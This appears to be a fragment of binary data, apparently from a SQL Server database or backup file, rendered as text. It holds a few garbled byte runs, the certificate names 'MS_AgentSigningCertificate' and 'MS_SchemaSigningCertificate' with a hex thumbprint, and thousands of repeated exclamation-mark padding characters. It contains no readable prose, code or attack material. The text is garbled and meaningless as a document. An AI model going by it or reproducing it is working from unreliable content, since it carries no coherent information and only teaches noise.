`+<\&hE##MS_AgentSigningCertificate##&##MS_SchemaSigningCertificateFBBED91EB3ECA494D27028E6F5921426EBFA28A8##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
Z+T%^8!!!!`,n\&hL\0?1=0;U4MS_AgentSigningCertificateIqEj{q>&010UMS_SchemaSigningCertificateFBBED91EB3ECA494D27028E6F5921426EBFA28A8^6IX&	z4!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!